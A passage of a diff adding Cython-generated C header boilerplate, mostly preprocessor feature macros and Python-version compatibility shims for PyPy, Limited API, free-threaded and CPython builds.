CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if 